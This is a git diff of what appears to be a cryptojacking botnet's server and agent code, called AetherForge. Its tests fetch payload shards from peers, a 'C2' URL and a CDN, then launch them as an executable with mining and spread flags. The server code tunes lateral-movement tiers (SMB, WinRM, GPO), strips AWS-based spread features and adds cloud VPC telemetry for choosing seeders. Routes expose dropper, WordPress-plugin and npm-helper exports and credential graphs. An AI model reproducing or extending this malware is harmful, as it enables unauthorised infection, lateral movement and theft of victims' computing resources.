- dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
- dht.MergeFleetGossipRecords([]FleetGossipRecord{
- {Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
- {Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
- })
- prev := erasureFetchFn
- var got string
- erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
- defer func() { erasureFetchFn = prev }()
- _, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
- if err != nil || got != "mock://us" {
- t.Fatalf("got=%q err=%v", got, err)
- }
-}
-
-func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
- dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
- prev := erasureFetchFn
- erasureFetchFn = func(url string) ([]byte, error) {
- if url == "mock://cf" {
- return []byte("cf"), nil
- }
- return nil, nil
- }
- defer func() { erasureFetchFn = prev }()
- body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
- if err != nil || string(body) != "cf" {
- t.Fatalf("body=%s err=%v", body, err)
- }
-}
-
-func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
- dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
payload := []byte("fleet-torrent-roundtrip")
p := erasureParams{DataShards: 2, ParityShards: 1}
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
@@ -69,29 +29,79 @@ func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
_ = enc.Encode(shards)
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
- switch url {
- case "mock://0":
+ if url == "mock://shard0" {
return shards[0], nil
- case "mock://1":
- return shards[1], nil
- case "mock://2":
- return shards[2], nil
- default:
- return nil, nil
}
+ if url == "mock://c2" {
+ return shards[1], nil
+ }
+ return nil, nil
}
defer func() { erasureFetchFn = prev }()
+
+ body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
+ if err != nil || string(body) != string(shards[0]) {
+ t.Fatalf("fetch=%v err=%v", body, err)
+ }
+ plan := ErasurePlanBody{
+ Enabled: true, Scheme: erasureSchemeReedSolomonV1,
+ DataShards: p.DataShards, ParityShards: p.ParityShards,
+ PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
+ ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
+ Shards: []ErasureShardRef{
+ {Index: 0, URL: "mock://c2"},
+ {Index: 1, URL: "mock://c2"},
+ {Index: 2, URL: "mock://c2"},
+ },
+ }
+ dht.MergeFleetGossipRecords([]FleetGossipRecord{{
+ Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
+ Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
+ }})
+ erasureFetchFn = func(url string) ([]byte, error) {
+ switch url {
+ case "mock://shard0":
+ return shards[0], nil
+ case "mock://shard1":
+ return shards[1], nil
+ case "mock://c2":
+ return nil, nil
+ }
+ return nil, nil
+ }
prevLaunch := erasureLaunchFn
- erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil }
+ erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
+ return "ok", nil
+ }
defer func() { erasureLaunchFn = prevLaunch }()
SetFleetShardDHT(dht)
- plan := ErasurePlanBody{
- Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards,
- PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1",
- Dest: t.TempDir() + `\w.exe`, Launch: "exe",
- Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
- }
- if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
+ msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+ FleetTorrentEnabled: true, WorkerName: "w",
+ }}, plan, "", "10.1.2")
+ if err != nil {
t.Fatal(err)
}
+ if msg == "" {
+ t.Fatal("empty msg")
+ }
+}
+
+func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
+ peers := []ShardPeer{
+ {AgentID: "a", Subnet: "10.0.0"},
+ {AgentID: "b", Subnet: "10.0.0"},
+ {AgentID: "c", Subnet: "10.0.0"},
+ {AgentID: "d", Subnet: "10.0.0"},
+ }
+ got := PickLANNeighborPeers(peers, "10.0.0", 3)
+ if len(got) != 3 {
+ t.Fatalf("len=%d", len(got))
+ }
+}
+
+func TestParseSwarmMagnetToken(t *testing.T) {
+ m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
+ if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
+ t.Fatalf("token=%q", tok)
+ }
}
diff --git a/agent/deploy/lotl_tiers.go b/agent/deploy/lotl_tiers.go
index 66d6074..8249b88 100644
--- a/agent/deploy/lotl_tiers.go
+++ b/agent/deploy/lotl_tiers.go
@@ -19,7 +19,6 @@ var DefaultLotlOnionTiers = []string{
"winrm",
"linux",
"gpo",
- "ssm_document",
}
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
@@ -28,7 +27,7 @@ func NormalizeLotlTiers(raw []string) []string {
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
- "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {},
+ "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {
diff --git a/server/config.go b/server/config.go
index d4dab4f..c7dd18a 100644
--- a/server/config.go
+++ b/server/config.go
@@ -1,4 +1,4 @@
-package main
+package main
import (
"encoding/json"
@@ -9,7 +9,6 @@ import (
"strings"
"crypto-miner-server/internal/alerts"
- "crypto-miner-server/internal/erasure"
)
type Config struct {
@@ -108,20 +107,6 @@ type ServerSettings struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
- AWSS3ShardBucket string `json:"aws_s3_shard_bucket,omitempty"`
- AWSS3ShardRegion string `json:"aws_s3_shard_region,omitempty"`
- AWSCloudFrontDomain string `json:"aws_cloudfront_domain,omitempty"`
- AWSS3CRRDestBucket string `json:"aws_s3_crr_dest_bucket,omitempty"`
- AWSS3CRRDestRegion string `json:"aws_s3_crr_dest_region,omitempty"`
- AWSS3ReplicationRoleARN string `json:"aws_s3_replication_role_arn,omitempty"`
- AWSAccountID string `json:"aws_account_id,omitempty"`
- FargateBurstCampaign bool `json:"fargate_burst_campaign"`
- FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"`
- FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
- CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
- CloudMapService string `json:"cloud_map_service,omitempty"`
- PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
- EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -1006,15 +991,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "fleet_torrent_enabled") {
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
}
- if in(srvKeys, "fargate_burst_campaign") {
- dst.Server.FargateBurstCampaign = src.Server.FargateBurstCampaign
- }
- if in(srvKeys, "fargate_burst_ttl_hours") && src.Server.FargateBurstTTLHours > 0 {
- dst.Server.FargateBurstTTLHours = src.Server.FargateBurstTTLHours
- }
- if in(srvKeys, "fargate_burst_expires_at") {
- dst.Server.FargateBurstExpiresAt = src.Server.FargateBurstExpiresAt
- }
if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
@@ -1132,32 +1108,6 @@ func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
}
}
-func (c *Config) AWSSwarmSettings() erasure.AWSSwarmSettings {
- if c == nil {
- return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{})
- }
- return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
- S3Bucket: c.Server.AWSS3ShardBucket,
- CloudFrontDomain: c.Server.AWSCloudFrontDomain,
- Region: c.Server.AWSS3ShardRegion,
- })
-}
-
-func (c *Config) S3ShardCRRConfig() erasure.S3ShardConfig {
- if c == nil {
- return erasure.S3ShardConfig{}
- }
- return erasure.S3ShardConfig{
- ShardBucket: strings.TrimSpace(c.Server.AWSS3ShardBucket),
- ShardRegion: strings.TrimSpace(c.Server.AWSS3ShardRegion),
- CRRDestBucket: strings.TrimSpace(c.Server.AWSS3CRRDestBucket),
- CRRDestRegion: strings.TrimSpace(c.Server.AWSS3CRRDestRegion),
- CloudFrontDomain: strings.TrimSpace(c.Server.AWSCloudFrontDomain),
- ReplicationRoleARN: strings.TrimSpace(c.Server.AWSS3ReplicationRoleARN),
- ReplicationAccountID: strings.TrimSpace(c.Server.AWSAccountID),
- }
-}
-
func (c *Config) PoolURL() string {
proto := "stratum+tcp"
if c.Pool.UseTLS {
diff --git a/server/internal/api/cloud_instance_meta.go b/server/internal/api/cloud_instance_meta.go
new file mode 100644
index 0000000..bc43285
--- /dev/null
+++ b/server/internal/api/cloud_instance_meta.go
@@ -0,0 +1,92 @@
+package api
+
+import (
+ "strings"
+
+ "crypto-miner-server/internal/models"
+)
+
+type CloudInstanceMeta struct {
+ VpcID string `json:"vpc_id,omitempty"`
+ SubnetID string `json:"subnet_id,omitempty"`
+ Region string `json:"region,omitempty"`
+}
+
+func (m CloudInstanceMeta) present() bool {
+ return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
+}
+
+func normalizeCloudInstanceMeta(m CloudInstanceMeta) CloudInstanceMeta {
+ return CloudInstanceMeta{
+ VpcID: strings.TrimSpace(m.VpcID), SubnetID: strings.TrimSpace(m.SubnetID), Region: strings.TrimSpace(m.Region),
+ }
+}
+
+func (h *WSHub) storeAgentCloudMeta(agentID string, meta CloudInstanceMeta) {
+ meta = normalizeCloudInstanceMeta(meta)
+ if !meta.present() {
+ return
+ }
+ h.mu.Lock()
+ tel, ok := h.agentLiveTelemetry[agentID]
+ if !ok {
+ tel = map[string]interface{}{}
+ h.agentLiveTelemetry[agentID] = tel
+ }
+ tel["cloud_instance_meta"] = map[string]interface{}{
+ "vpc_id": meta.VpcID, "subnet_id": meta.SubnetID, "region": meta.Region,
+ }
+ h.mu.Unlock()
+}
+
+func (h *WSHub) agentCloudMetaLocked(agentID string) CloudInstanceMeta {
+ if tel, ok := h.agentLiveTelemetry[agentID]; ok {
+ if raw, ok := tel["cloud_instance_meta"].(map[string]interface{}); ok {
+ meta := CloudInstanceMeta{}
+ if v, ok := raw["vpc_id"].(string); ok {
+ meta.VpcID = v
+ }
+ if v, ok := raw["subnet_id"].(string); ok {
+ meta.SubnetID = v
+ }
+ if v, ok := raw["region"].(string); ok {
+ meta.Region = v
+ }
+ return normalizeCloudInstanceMeta(meta)
+ }
+ }
+ return CloudInstanceMeta{}
+}
+
+func primarySeederScope(clientIP string, meta CloudInstanceMeta) string {
+ if strings.TrimSpace(meta.VpcID) != "" {
+ return strings.TrimSpace(meta.VpcID)
+ }
+ return subnetPrefix24(clientIP)
+}
+
+func (h *WSHub) agentMatchesPrimaryScopeLocked(agentID, scope string) bool {
+ meta := h.agentCloudMetaLocked(agentID)
+ if meta.VpcID != "" {
+ return meta.VpcID == scope
+ }
+ return subnetPrefix24(h.agentIPLocked(agentID)) == scope
+}
+
+func (h *WSHub) attachVPCSeederTelemetry(agent *models.Agent, agentID, _, role, primaryPick string) {
+ if agent == nil {
+ return
+ }
+ meta := h.agentCloudMetaLocked(agentID)
+ if !meta.present() {
+ return
+ }
+ agent.CloudVpcID = meta.VpcID
+ agent.CloudSubnetID = meta.SubnetID
+ agent.CloudRegion = meta.Region
+ if role != "seeder" || primaryPick == "" {
+ return
+ }
+ primary := primaryPick == agentID
+ agent.VPCPrimarySeeder = &primary
+}
diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go
index 46e7db6..52cd770 100644
--- a/server/internal/api/deploy_plan.go
+++ b/server/internal/api/deploy_plan.go
@@ -1,7 +1,6 @@
-package api
+package api
import (
- "context"
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
@@ -14,7 +13,6 @@ import (
"strings"
dbpkg "crypto-miner-server/internal/db"
- "crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
@@ -74,7 +72,6 @@ type DeployPlanBody struct {
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
- SSMDocument string `json:"ssm_document,omitempty"`
}
type deployPlanRequest struct {
@@ -105,10 +102,8 @@ type DeployPlanHandler struct {
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
- erasureEnabled func() bool
- erasureShards *erasure.ShardStore
- awsSwarmSettings func() erasure.AWSSwarmSettings
- awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
+ erasureEnabled func() bool
+ erasureShards *erasure.ShardStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -142,11 +137,6 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
-func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
- h.awsSwarmSettings = settings
- h.awsShardStore = store
-}
-
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
@@ -268,17 +258,10 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
case "spread_smb_unc":
body.UNCPath = strings.TrimSpace(req.UNCPath)
body.MaxHosts = 64
- case "ssm_document":
- bundle, err := h.buildSSMSpreadBundle(req, serverURL)
- if err != nil {
- return DeployPlanBody{}, err
- }
- body.SSMDocument = bundle.Document
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
- h.attachCloudMapRouteVia(&body)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
@@ -331,41 +314,12 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
- shards := shardsFromStore(h.erasureShards, plan.ShardToken)
- hashes := erasure.ShardContentHashes(shards)
- if h.awsSwarmSettings != nil && h.awsShardStore != nil {
- cfg := h.awsSwarmSettings()
- if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
- result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
- if err != nil {
- return err
- }
- if result != nil {
- for i := range plan.Shards {
- if i < len(result.EdgeURLs) {
- plan.Shards[i].EdgeURL = result.EdgeURLs[i]
- }
- }
- if body.SpreadRouteHint == nil {
- body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
- }
- body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
- body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
- }
- }
- }
- if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
- if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
- if body.SpreadRouteHint == nil {
- body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
- }
- if body.SpreadRouteHint.SwarmMagnet == "" {
- body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
- }
- if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
- body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
- }
+ if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
+ if body.SpreadRouteHint == nil {
+ body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
+ body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
+ body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
return nil
}
@@ -845,49 +799,3 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
-
-func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
- namespace = "prod.local"
- service = "seeder"
- if h.dataDir == "" {
- return namespace, service
- }
- cfgPath := filepath.Join(h.dataDir, "config.json")
- data, err := os.ReadFile(cfgPath)
- if err != nil {
- return namespace, service
- }
- var payload struct {
- Server struct {
- CloudMapNamespace string `json:"cloud_map_namespace"`
- CloudMapService string `json:"cloud_map_service"`
- } `json:"server"`
- }
- if json.Unmarshal(data, &payload) != nil {
- return namespace, service
- }
- if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
- namespace = ns
- }
- if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
- service = svc
- }
- return namespace, service
-}
-
-func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
- if body == nil {
- return
- }
- ns, svc := h.cloudMapSettings()
- routeVia := cloudmap.SeederDNSName(svc, ns)
- if routeVia == "" {
- return
- }
- if body.SpreadRouteHint == nil {
- body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
- }
- if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
- body.SpreadRouteHint.RouteVia = routeVia
- }
-}
diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go
index 5f54230..9d71734 100644
--- a/server/internal/api/integration_test.go
+++ b/server/internal/api/integration_test.go
@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
- return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
+ return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
- return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
+ return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index db50083..375d505 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -27,7 +27,7 @@ import (
)
// authSessionCache avoids running bcrypt on every API request.
-// Key: SHA-256(user+":"+password) hex ? value: expiry time.
+// Key: SHA-256(user+":"+password) hex — value: expiry time.
// Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry.
var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string {
var b strings.Builder
- b.WriteString("\n????????????????????????????????????????????????????\n")
- b.WriteString("? AetherForge ? Dashboard Login ?\n")
- b.WriteString("? ?\n")
+ b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
+ b.WriteString("║ AetherForge — Dashboard Login ║\n")
+ b.WriteString("║ ║\n")
users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users)
for _, user := range users {
pass := creds[user]
- fmt.Fprintf(&b, "? Username : %-34s?\n", user)
- fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
- b.WriteString("? ?\n")
+ fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
+ fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
+ b.WriteString("║ ║\n")
}
- b.WriteString("? Also saved in data/login-credentials.json ?\n")
- b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
- b.WriteString("????????????????????????????????????????????????????\n")
+ b.WriteString("║ Also saved in data/login-credentials.json ║\n")
+ b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
+ b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String()
}
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
-// must not trigger that ? only bare browser navigations without these headers should.
+// must not trigger that — only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
}
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path
// Health check and one-liner installer endpoints are always open.
- // NOTE: build download/artifact routes are intentionally NOT in this list ?
+ // NOTE: build download/artifact routes are intentionally NOT in this list —
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
- // A missing or empty fleet secret is always rejected ? the server auto-
+ // A missing or empty fleet secret is always rejected — the server auto-
// generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return
}
- // Fast path ? skip bcrypt if this credential pair was recently validated.
+ // Fast path — skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) {
usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
- // Credential verified ? cache it for the next few minutes.
+ // Credential verified — cache it for the next few minutes.
authCacheSet(user, pass)
}
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
-func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
+func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false,
}))
- // REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
+ // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware)
h := NewHandler(database)
@@ -639,10 +639,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Config
r.Get("/config", configHandler.ServeHTTP)
r.Put("/config", configHandler.ServeHTTP)
- if erasureSwarmHandler != nil {
- r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest)
- r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON)
- }
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
@@ -652,18 +648,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
- r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
- r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
- r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
- r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
- r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
- r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
}
if wsHub != nil {
@@ -690,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
- // Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
+ // Fleet secret rotation — generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
@@ -744,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
- // Deck backup ? authenticated full backup ZIP (config + DB + users)
+ // Deck backup — authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
- // Path Tracer ? on-demand WireGuard chain sessions
+ // Path Tracer — on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -761,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
- // Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
+ // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
